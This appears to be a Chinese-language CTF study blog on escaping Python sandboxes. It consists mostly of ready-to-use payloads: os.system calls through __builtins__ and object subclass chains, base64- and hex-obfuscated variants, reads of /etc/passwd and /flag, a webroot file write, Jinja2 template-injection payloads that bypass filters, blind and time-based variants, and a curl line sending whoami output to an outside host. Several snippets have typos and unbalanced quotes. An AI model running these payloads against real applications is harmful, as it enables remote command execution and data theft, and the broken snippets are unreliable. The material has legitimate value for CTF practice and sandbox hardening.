关于Python沙箱的逃逸,在多次CTF比赛中看到后,终于下定决心来进行一番学习和总结。
python沙箱逃逸:从一个受限制的python执行环境中获取到更高的权限,甚至getshell。
首先我们从python的内建函数__builtins__说起。通过dir(__builtins__)可以查看内置函数,展示所有内置类型和函数。
我们先来看最基础的__import__函数
# 直接调用
__builtins__.__import__('os').system('dir')
# 通过dict访问
__builtins__.__dict__[‘import__('os')’].system('ls')
# 玩一些花样-转码
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
此外还有file、open、eval等函数
__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")
# import 其他模块
__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)
关于import还有其他一些有意思的操作,包括reload方法、设置sys.modules[‘os’]、execfile等。
除了builtins,是否还存在其他方法呢?这里我们来介绍python的object。
我们知道python是面向对象的语言,所有类均是从object继承而来。所以我们在构造payload时,第一步便是构造一个object,然后在通过object去进行想要的操作。构造一个object的方法有三个,第一个是通过类的属性__base__,通过该属性可以指明该类是继承自哪个类(所有类均是从object继承而来)。
第二个是使用属性__bases__,原理跟__base__类似,它返回一个继承的数组,而数组的第一个便是object;
第三个方法是使用属性__mro__,__mro__即method resolution order,解析方法调用的顺序。其顺序的最后一位必定为一个object。
最终整理的可构造一个object对象的方法如下:
# use __base__
[].__class__.__base__
''.__class__.__base__
False.__class__.__base__.__base__
0.0.__class__.__base__
{}.__class__.__base__
# use __bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0]
False.__class__.__bases__[0]. __bases__[0]
0.0.__class__.__bases__[0]
{}.__class__.__bases__[0]
# use __mro__[-1]
[].__class__.__mro__[-1]
''.__class__.__mro__[-1]
False.__class__.__mro__[-1]
0.0.__class__.__mro__[-1]
{}.__class__.__mro__[-1]
在得到一个object对象后,我们通过subclasses查看其支持的对象类型(本身支持subclasshook方法)。
这里的file可用来进行最简单的文件读操作。
().__class__.__bases__[0].__subclasses__()[40]('/flag).read()
此处,read、readline、readlines均可使用。
简单写文件示例:
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/tmp', 'w').write('777')
__globals__属性
在讲命令执行前,这里还得介绍一下__globals__。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量。
python里面的内置模块本身调用os模块等可以命令执行的库,这里列举几个:
由于测试环境中未能复现该方法,此处不再作深入讲解。这里仅贴一些常见的payload供参考。
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
func_global属性
但在实际测试过程中,由于__globals__未能成功调用,还是转而使用了func_global属性。此处我们用catch_warnings类(索引在59),进行命令执行。
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')
在实际环境中,我们必然会碰到各种各样的过滤限制,这里也做了一些归纳
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('ls')
无[]法
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
# 无引号
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }} 提交参数&cmd=id
# 无__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }} 提交参数&class=__class__&mro=__mro__&subclasses=__subclasses__
#curl
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag).read()[0:1]=='f' %}bingo{% endif %}
时间盲注
__builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) = ];then sleep 2;fi')", number=1)
其他模块
__builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1)
platform.popen('id', mode='r', bufsize=-1).read()
https://blog.csdn.net/wy_97/article/details/80393854
https://www.jianshu.com/p/183581381c4f
https://xz.aliyun.com/t/52#
https://icematcha.win/?p=532